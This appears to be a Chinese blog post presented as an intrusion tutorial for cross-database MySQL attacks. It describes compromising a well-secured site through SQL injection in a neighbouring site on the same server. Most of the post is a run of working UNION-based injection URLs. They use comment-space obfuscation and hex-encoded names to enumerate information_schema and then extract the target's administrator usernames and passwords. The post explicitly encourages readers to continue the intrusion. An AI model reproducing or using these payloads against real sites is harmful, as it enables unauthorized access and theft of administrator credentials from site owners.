Mysql跨库入侵介绍
入侵假想: 目标是A站点,安全性比较可以。但是在同服务器下的B站点,我们发现了一个Mysql 注入点,并且还有查询相关库的权限。
那么,我们就可以通过B站点的注入点跨库查询A站点的信息,入侵之….. (当然你也可以把B站点入侵了,再入侵A。但不是有注入点就可以入侵的,偶?跑题了。)
大家知道在mysql5.0以后加入了 information_schemata 这个虚拟库,
基本结构如下:
Information_schema-------| Schemata 存放数据库信息的表 | Tables 存放数据库中表信息的表 | Columns 存放数据库中列信息的表 …………………………………..
对我们入侵十分有帮助。既然我们要跨库,就需要查询库信息。
怎么查?上图,来得直接 还有一个要介绍的,假如我们要查询mysql库中的user表中的相关信息,
我们可以这样查: 好了,XX们已经等不急了。
B站注入点: http://www.b.com/b.php?ID=99 看看数据库基本情况 http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,concat(user(),0x2c,version()) 5.x的mysql,挺好的。
继续 查库: http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,schema_name/**/from/**/information_schema.schemata/**/limit/**/0,1 这样查出来的就是mysql中的第一个数据库,想要查第二个数据库就将limit 0,1改为limit 1,1 以此类推。
有人就要问了,你怎么知道A站点的数据库是哪个呀?这个嘛,1.Load_file,要看运气 2.猜猜,还可以看A站是不是整站程序,凭经验猜猜,像helen这样的牛B社工猜出来没问题。
通过上面的操作,我们已经获取了A站点的数据库名 adb(假设) 查管理员表: http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=0x616462/**/limit/**/0,1、 ……… 得到管理员表为 adb_admin 查管理员中表的字段: http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x6164625F61646D696E/**/limit/**/0,1 ……………. 得到管理员表字段为 admin_name admin_pass 查管理员帐号信息: http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,concat(admin_name,0x2c,admin_pass)/**/from/**/adb.adb_admin/**/limit/**/0,1 ………………… OK到这里A站点的管理员信息也就查询出来了,XX们,继续入侵工作 注: adb的Hex为0x616462 adb_admin的Hex为0x6164625F61646D696E , 的Hex为0x2c
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库